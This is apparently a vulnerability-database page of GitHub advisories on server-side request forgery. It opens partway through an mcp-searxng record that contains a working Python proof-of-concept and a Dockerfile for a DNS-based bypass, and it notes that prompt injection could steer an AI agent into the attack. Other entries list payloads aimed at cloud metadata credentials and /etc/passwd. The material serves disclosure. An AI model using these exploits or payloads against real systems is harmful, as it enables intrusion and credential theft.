\u0027INTERNAL-SECRET-OK-SSRF-PROOF\u0027\n    URL: http://ssrf-target.internal:9796/ (resolves to 127.0.0.1 via /etc/hosts)\n    assertUrlAllowed() sees hostname=\u0027ssrf-target.internal\u0027 \u2192 passes string check\n    undiciFetch() resolves DNS \u2192 127.0.0.1 \u2192 reads internal service\n[RESULT] PASS\n```\n\nThe same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., `http://127.0.0.1.nip.io:PORT/`), or by controlling a custom DNS record.\n\n**MCP JSON-RPC request (STDIO mode):**\n\n```json\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"web_url_read\",\"arguments\":{\"url\":\"http://ssrf-target.internal:9796/\",\"maxLength\":200}}}\n```\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server \u2014 or who can influence an AI agent connected to the server to call `web_url_read` with an attacker-controlled URL \u2014 can:\n\n- **Read internal HTTP services** reachable from the MCP server host (e.g., cloud metadata endpoints at `169.254.169.254`, internal APIs, admin dashboards, databases with HTTP interfaces).\n- **Exfiltrate sensitive data** such as cloud provider credentials, internal service tokens, or configuration secrets.\n- **Enumerate internal network topology** by probing responses from different internal hosts and ports.\n\nIn the default HTTP deployment configuration (`MCP_HTTP_HARDEN` unset), authentication is disabled (`requireAuth: false`), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web.\n\nThe vulnerability has a CVSS v3.1 score of **7.1 (High)** and affects all users running `mcp-searxng` version 1.6.0 without setting `MCP_HTTP_ALLOW_PRIVATE_URLS=false` explicitly overriding to true (the insecure opt-in) or applying a patched version.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends python3 \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the entire repository\nCOPY . /app/\n\n# Install dependencies and compile TypeScript\nRUN npm ci \u0026\u0026 npm run build\n\n# Verify the build output exists\nRUN test -f dist/index.js || (echo \"ERROR: dist/index.js not found after build\" \u0026\u0026 exit 1)\n\n# Default: drop into a shell for manual inspection; overridden by docker run\nCMD [\"node\", \"dist/index.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read\nCWE-918 | CVSS 7.1\n\nThe assertUrlAllowed() function (src/url-reader.ts:85-93) checks only the\nurl.hostname string against private IP/hostname patterns without performing DNS\nresolution.  A hostname that is syntactically public but resolves to a private\nor loopback address at fetch time bypasses the check.\n\nAttack flow:\n  1. Attacker provides URL with a hostname that passes the string check.\n  2. assertUrlAllowed(parsedUrl) at line 313 passes (no DNS resolution).\n  3. undiciFetch() at line 367 resolves the hostname via OS DNS, gets 127.0.0.1,\n     and connects to the internal service.\n\nRequirements:\n  - Container must be started with --add-host ssrf-target.internal:127.0.0.1\n    so that the bypass hostname resolves to the loopback address via /etc/hosts.\n  - Node.js MCP server binary at /app/dist/index.js\n\nUsage:\n  python3 poc.py\n  Exit 0 = PASS (bypass confirmed), non-zero = FAIL\n\"\"\"\n\nimport http.server\nimport json\nimport os\nimport queue\nimport subprocess\nimport sys\nimport threading\nimport time\n\n# \u2500\u2500 constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nSENTINEL       = \"INTERNAL-SECRET-OK-SSRF-PROOF\"\nINTERNAL_PORT  = 9796\nBYPASS_HOST    = \"ssrf-target.internal\"   # /etc/hosts: 127.0.0.1 (via --add-host)\nMCP_BINARY     = \"/app/dist/cli.js\"\nTIMEOUT_SEC    = 20\n\n\n# \u2500\u2500 internal HTTP server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nclass SentinelHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates an internal service that the SSRF attack reads.\"\"\"\n\n    def _send_sentinel(self, with_body=True):\n        body = (SENTINEL + \"\\n\").encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        if with_body:\n            self.wfile.write(body)\n\n    def do_GET(self):\n        self._send_sentinel(with_body=True)\n\n    def do_HEAD(self):\n        self._send_sentinel(with_body=False)\n\n    def log_message(self, fmt, *args):   # silence access log\n        pass\n\n\ndef start_internal_server():\n    server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), SentinelHandler)\n    threading.Thread(target=server.serve_forever, daemon=True).start()\n    print(f\"[+] Internal HTTP server listening on 127.0.0.1:{INTERNAL_PORT}\"\n          f\u0027  -\u003e sentinel: \"{SENTINEL}\"\u0027)\n    return server\n\n\n# \u2500\u2500 MCP communication helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef start_mcp_server():\n    \"\"\"Spawn the MCP server in STDIO mode.\"\"\"\n    env = os.environ.copy()\n    env.update({\n        \"NODE_ENV\": \"production\",\n        # SEARXNG_URL is intentionally unset; web_url_read does not need it.\n    })\n    proc = subprocess.Popen(\n        [\"node\", MCP_BINARY],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        env=env,\n    )\n    return proc\n\n\ndef drain_stderr(proc):\n    \"\"\"Drain stderr in a background thread to prevent blocking.\"\"\"\n    def _reader():\n        for _ in proc.stderr:\n            pass\n    threading.Thread(target=_reader, daemon=True).start()\n\n\ndef attach_stdout_reader(proc):\n    \"\"\"Return a queue that receives decoded JSON-RPC messages from stdout.\"\"\"\n    q = queue.Queue()\n\n    def _reader():\n        for raw in proc.stdout:\n            line = raw.strip()\n            if not line:\n                continue\n            try:\n                q.put(json.loads(line.decode()))\n            except json.JSONDecodeError:\n                pass   # skip non-JSON output\n\n    threading.Thread(target=_reader, daemon=True).start()\n    return q\n\n\ndef send_rpc(proc, method, params=None, rpc_id=None):\n    \"\"\"Write one JSON-RPC 2.0 message to the MCP server\u0027s stdin.\"\"\"\n    msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n    if rpc_id is not None:\n        msg[\"id\"] = rpc_id\n    if params is not None:\n        msg[\"params\"] = params\n    proc.stdin.write((json.dumps(msg) + \"\\n\").encode())\n    proc.stdin.flush()\n\n\ndef expect_response(q, target_id, timeout=TIMEOUT_SEC):\n    \"\"\"Wait for a JSON-RPC response matching target_id.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() \u003c deadline:\n        try:\n            msg = q.get(timeout=1.0)\n            if msg.get(\"id\") == target_id:\n                return msg\n        except queue.Empty:\n            continue\n    return None\n\n\ndef initialize_mcp(proc, q):\n    \"\"\"Perform the MCP initialize / initialized handshake.\"\"\"\n    send_rpc(proc, \"initialize\", {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n    }, rpc_id=1)\n\n    resp = expect_response(q, target_id=1)\n    if resp is None or \"result\" not in resp:\n        raise RuntimeError(f\"MCP initialize timed out or failed: {resp}\")\n\n    proto = resp[\"result\"].get(\"protocolVersion\", \"?\")\n    print(f\"[+] MCP handshake complete (protocol={proto})\")\n\n    # Acknowledge initialization\n    send_rpc(proc, \"notifications/initialized\")\n    time.sleep(0.15)\n\n\ndef call_url_read(proc, q, url, rpc_id):\n    \"\"\"Invoke the web_url_read tool and return the raw JSON-RPC response.\"\"\"\n    send_rpc(proc, \"tools/call\", {\n        \"name\": \"web_url_read\",\n        \"arguments\": {\"url\": url, \"maxLength\": 600},\n    }, rpc_id=rpc_id)\n    return expect_response(q, target_id=rpc_id)\n\n\n# \u2500\u2500 result helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef extract_text(resp):\n    \"\"\"Return the text content from a tools/call result, or None.\"\"\"\n    if resp is None:\n        return None\n    if \"error\" in resp:\n        return None\n    try:\n        return resp[\"result\"][\"content\"][0][\"text\"]\n    except (KeyError, IndexError, TypeError):\n        return None\n\n\ndef is_blocked(resp):\n    \"\"\"Return True when the response indicates a security-policy block.\"\"\"\n    if resp is None:\n        return False\n    # MCP SDK may surface tool errors as JSON-RPC errors OR as isError results\n    if \"error\" in resp:\n        return True\n    text = extract_text(resp) or \"\"\n    if resp.get(\"result\", {}).get(\"isError\"):\n        return True\n    if \"URLSecurityPolicy\" in text or \"not allowed\" in text.lower():\n        return True\n    return False\n\n\n# \u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    print(\"=\" * 62)\n    print(\"VULN-001  DNS-resolved Private Hostname SSRF in web_url_read\")\n    print(\"=\" * 62)\n\n    # 1. Verify /etc/hosts entry is present\n    bypass_url = f\"http://{BYPASS_HOST}:{INTERNAL_PORT}/\"\n    with open(\"/etc/hosts\") as f:\n        hosts_content = f.read()\n    if BYPASS_HOST not in hosts_content:\n        print(f\"[-] FATAL: \u0027{BYPASS_HOST}\u0027 not in /etc/hosts.\")\n        print(\"    Re-run with: --add-host ssrf-target.internal:127.0.0.1\")\n        sys.exit(3)\n    print(f\"[+] /etc/hosts contains entry for {BYPASS_HOST}\")\n\n    # 2. Start internal HTTP service\n    start_internal_server()\n    time.sleep(0.2)\n\n    # 3. Start MCP server\n    print(f\"[*] Spawning MCP server: node {MCP_BINARY}\")\n    proc = start_mcp_server()\n    drain_stderr(proc)\n    msg_queue = attach_stdout_reader(proc)\n    time.sleep(1.2)   # allow server startup\n\n    if proc.poll() is not None:\n        print(f\"[-] MCP server exited early (rc={proc.returncode})\")\n        sys.exit(4)\n    print(f\"[+] MCP server running (PID={proc.pid})\")\n\n    try:\n        # 4. MCP handshake\n        print(\"[*] MCP initialize ...\")\n        initialize_mcp(proc, msg_queue)\n\n        # \u2500\u2500 Test 1: direct private IP should be BLOCKED \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        blocked_target = f\"http://127.0.0.1:{INTERNAL_PORT}/\"\n        print(f\"\\n[*] Test 1 \u2014 direct private IP (EXPECT: BLOCKED)\")\n        print(f\"    URL: {blocked_target}\")\n        resp1 = call_url_read(proc, msg_queue, blocked_target, rpc_id=2)\n        text1 = extract_text(resp1) or \"\"\n\n        if is_blocked(resp1):\n            print(f\"[+] BLOCKED  \u2014 assertUrlAllowed() correctly rejected 127.0.0.1\")\n        else:\n            print(f\"[!] WARNING \u2014 direct 127.0.0.1 was NOT blocked (text={text1[:120]})\")\n\n        # \u2500\u2500 Test 2: hostname bypass SHOULD succeed \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(f\"\\n[*] Test 2 \u2014 hostname bypass (EXPECT: PASS / SSRF)\")\n        print(f\"    URL: {bypass_url}\")\n        print(f\"    assertUrlAllowed() sees hostname=\u0027{BYPASS_HOST}\u0027 \u2192 passes string check\")\n        print(f\"    undiciFetch() resolves DNS \u2192 127.0.0.1 \u2192 reads internal service\")\n        resp2 = call_url_read(proc, msg_queue, bypass_url, rpc_id=3)\n        text2 = extract_text(resp2) or \"\"\n\n        print(f\"\\n    Raw tool response text (first 400 chars):\")\n        print(f\"    {repr(text2[:400])}\")\n\n        if SENTINEL in text2:\n            print(f\"\\n[!!!] SSRF BYPASS CONFIRMED\")\n            print(f\"[!!!] Sentinel \u0027{SENTINEL}\u0027 found in MCP tool response\")\n            print(f\"\\n[RESULT] PASS\")\n            sys.exit(0)\n        elif is_blocked(resp2):\n            print(f\"\\n[-] Bypass request was also BLOCKED (unexpected).\")\n            print(f\"    resp2={json.dumps(resp2)[:300]}\")\n            print(f\"\\n[RESULT] FAIL \u2014 bypass was blocked\")\n            sys.exit(1)\n        else:\n            print(f\"\\n[-] Response received but sentinel not found.\")\n            print(f\"    resp2={json.dumps(resp2)[:400]}\")\n            print(f\"\\n[RESULT] FAIL \u2014 unexpected response\")\n            sys.exit(1)\n\n    finally:\n        proc.terminate()\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-mrvx-jmjw-vggc",
  "modified": "2026-06-19T21:42:46Z",
  "published": "2026-06-19T21:42:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-mrvx-jmjw-vggc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ihor-sokoliuk/mcp-searxng"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " SearXNG MCP Server: DNS-resolved Private Hostname SSRF in `web_url_read`"
}

GHSA-MV26-CX23-VRFG

Vulnerability from github – Published: 2022-02-09 00:00 – Updated: 2022-02-09 22:27
VLAI
Summary
Server-Side Request Forgery in @peertube/embed-api
Details

@peertube/embed-api version 4.0.0 and prior is vulnerable to server-side request forgery.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@peertube/embed-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0-rc.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-09T22:27:07Z",
    "nvd_published_at": "2022-02-08T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "@peertube/embed-api version 4.0.0 and prior is vulnerable to server-side request forgery.",
  "id": "GHSA-mv26-cx23-vrfg",
  "modified": "2022-02-09T22:27:07Z",
  "published": "2022-02-09T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0508"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chocobozzz/peertube/commit/f33e515991a32885622b217bf2ed1d1b0d9d6832"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chocobozzz/peertube"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/c3724574-b6c9-430b-849b-40dd2b20f23c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in @peertube/embed-api"
}

GHSA-MVP3-9F9G-QV99

Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28
VLAI
Details

The LikeBtn WordPress Like Button Rating ♥ LikeBtn WordPress plugin before 2.6.32 was vulnerable to Unauthenticated Full-Read Server-Side Request Forgery (SSRF).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-24150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-05T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "The LikeBtn WordPress Like Button Rating \u00e2\u2122\u00a5 LikeBtn WordPress plugin before 2.6.32 was vulnerable to Unauthenticated Full-Read Server-Side Request Forgery (SSRF).",
  "id": "GHSA-mvp3-9f9g-qv99",
  "modified": "2022-05-24T22:28:48Z",
  "published": "2022-05-24T22:28:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24150"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/6bc6023f-a5e7-4665-896c-95afa5b638fb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MVQW-3JFW-Q6HW

Vulnerability from github – Published: 2022-05-14 03:17 – Updated: 2022-05-14 03:17
VLAI
Details

application/home/controller/debug.php in PHPRAP 1.0.4 through 1.0.8 has SSRF via the /debug URI, as demonstrated by an api[url]=file:////etc/passwd&api[method]=get POST request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-11031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-14T00:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "application/home/controller/debug.php in PHPRAP 1.0.4 through 1.0.8 has SSRF via the /debug URI, as demonstrated by an api[url]=file:////etc/passwd\u0026api[method]=get POST request.",
  "id": "GHSA-mvqw-3jfw-q6hw",
  "modified": "2022-05-14T03:17:33Z",
  "published": "2022-05-14T03:17:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11031"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gouguoyin/phprap/issues/89"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MVVV-V22X-XQWP

Vulnerability from github – Published: 2026-04-15 19:43 – Updated: 2026-05-14 20:39
VLAI
Summary
NocoBase has SSRF in Workflow HTTP Request and Custom Request Plugins
Details

Summary

NocoBase's workflow HTTP request plugin and custom request action plugin make server-side HTTP requests to user-provided URLs without any SSRF protection. An authenticated user can access internal network services, cloud metadata endpoints, and localhost.

Vulnerable Code

1. Workflow HTTP Request Plugin

packages/plugins/@nocobase/plugin-workflow-request/src/server/RequestInstruction.ts lines 117-128:

return axios.request({
  url: trim(url),  // User-controlled, no validation
  method,
  headers,
  params,
  timeout,
  ...(method.toLowerCase() !== 'get' && data != null
    ? { data: transformer ? await transformer(data) : data }
    : {}),
});

The url at line 98 comes directly from user workflow configuration with only whitespace trimming.

2. Custom Request Action Plugin

packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/send.ts lines 172-198:

const axiosRequestConfig = {
  baseURL: ctx.origin,
  ...options,
  url: getParsedValue(url, variables),  // User-controlled via template
  headers: { ... },
  params: getParsedValue(arrayToObject(params), variables),
  data: getParsedValue(toJSON(data), variables),
};
const res = await axios(axiosRequestConfig);  // No IP validation

Missing Protections

  • No request-filtering-agent or SSRF library (confirmed via grep across entire codebase)
  • No private IP range filtering
  • No cloud metadata endpoint blocking
  • No URL scheme validation
  • No DNS rebinding protection

Attack Scenario

  1. Authenticated user creates a workflow with HTTP Request node
  2. Sets URL to http://169.254.169.254/latest/meta-data/iam/security-credentials/
  3. Triggers the workflow
  4. Server fetches AWS metadata and returns IAM credentials in workflow execution logs

Alternatively via Custom Request action: 1. Create custom request with URL http://127.0.0.1:5432 or http://10.0.0.1:8080/admin 2. Execute the action 3. Server makes request to internal service

Impact

  • Cloud metadata theft: AWS/GCP/Azure credentials via metadata endpoints
  • Internal network access: Scan and interact with services on private IP ranges
  • Database access: Connect to localhost databases (PostgreSQL, Redis, etc.)
  • Authentication required: Yes (authenticated user), but any workspace member can create workflows
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-workflow-request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:43:50Z",
    "nvd_published_at": "2026-04-18T00:16:38Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nNocoBase\u0027s workflow HTTP request plugin and custom request action plugin make server-side HTTP requests to user-provided URLs without any SSRF protection. An authenticated user can access internal network services, cloud metadata endpoints, and localhost.\n\n## Vulnerable Code\n\n### 1. Workflow HTTP Request Plugin\n\n**`packages/plugins/@nocobase/plugin-workflow-request/src/server/RequestInstruction.ts` lines 117-128:**\n```typescript\nreturn axios.request({\n  url: trim(url),  // User-controlled, no validation\n  method,\n  headers,\n  params,\n  timeout,\n  ...(method.toLowerCase() !== \u0027get\u0027 \u0026\u0026 data != null\n    ? { data: transformer ? await transformer(data) : data }\n    : {}),\n});\n```\n\nThe `url` at line 98 comes directly from user workflow configuration with only whitespace trimming.\n\n### 2. Custom Request Action Plugin\n\n**`packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/send.ts` lines 172-198:**\n```typescript\nconst axiosRequestConfig = {\n  baseURL: ctx.origin,\n  ...options,\n  url: getParsedValue(url, variables),  // User-controlled via template\n  headers: { ... },\n  params: getParsedValue(arrayToObject(params), variables),\n  data: getParsedValue(toJSON(data), variables),\n};\nconst res = await axios(axiosRequestConfig);  // No IP validation\n```\n\n## Missing Protections\n\n- No `request-filtering-agent` or SSRF library (confirmed via grep across entire codebase)\n- No private IP range filtering\n- No cloud metadata endpoint blocking\n- No URL scheme validation\n- No DNS rebinding protection\n\n## Attack Scenario\n\n1. Authenticated user creates a workflow with HTTP Request node\n2. Sets URL to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`\n3. Triggers the workflow\n4. Server fetches AWS metadata and returns IAM credentials in workflow execution logs\n\nAlternatively via Custom Request action:\n1. Create custom request with URL `http://127.0.0.1:5432` or `http://10.0.0.1:8080/admin`\n2. Execute the action\n3. Server makes request to internal service\n\n## Impact\n\n- **Cloud metadata theft**: AWS/GCP/Azure credentials via metadata endpoints\n- **Internal network access**: Scan and interact with services on private IP ranges\n- **Database access**: Connect to localhost databases (PostgreSQL, Redis, etc.)\n- **Authentication required**: Yes (authenticated user), but any workspace member can create workflows",
  "id": "GHSA-mvvv-v22x-xqwp",
  "modified": "2026-05-14T20:39:05Z",
  "published": "2026-04-15T19:43:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-mvvv-v22x-xqwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40346"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9079"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/2853368243ed07339c62c548b7d475f4eeaada59"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.37"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NocoBase has SSRF in Workflow HTTP Request and Custom Request Plugins"
}

GHSA-MW2P-J3F6-XVPM

Vulnerability from github – Published: 2023-12-07 12:30 – Updated: 2026-04-28 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Softaculous Team SpeedyCache – Cache, Optimization, Performance.This issue affects SpeedyCache – Cache, Optimization, Performance: from n/a through 1.1.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-49746"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-07T11:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Softaculous Team SpeedyCache \u2013 Cache, Optimization, Performance.This issue affects SpeedyCache \u2013 Cache, Optimization, Performance: from n/a through 1.1.2.",
  "id": "GHSA-mw2p-j3f6-xvpm",
  "modified": "2026-04-28T21:33:17Z",
  "published": "2023-12-07T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49746"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/speedycache/wordpress-speedycache-plugin-1-1-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW69-W5MV-7FC5

Vulnerability from github – Published: 2022-12-08 18:30 – Updated: 2022-12-12 18:30
VLAI
Details

In JetBrains TeamCity between 2022.10 and 2022.10.1 a custom STS endpoint allowed internal port scanning.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-46830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-08T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains TeamCity between 2022.10 and 2022.10.1 a custom STS endpoint allowed internal port scanning.",
  "id": "GHSA-mw69-w5mv-7fc5",
  "modified": "2022-12-12T18:30:30Z",
  "published": "2022-12-08T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46830"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MX52-G499-R9JM

Vulnerability from github – Published: 2022-05-21 00:01 – Updated: 2022-05-27 00:00
VLAI
Details

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.8.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-20T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.8.",
  "id": "GHSA-mx52-g499-r9jm",
  "modified": "2022-05-27T00:00:38Z",
  "published": "2022-05-21T00:01:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jgraph/drawio/commit/c63f3a04450f30798df47f9badbc74eb8a69fbdf"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/d1330ce8-cccb-4bae-b9a9-a03b97f444a5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

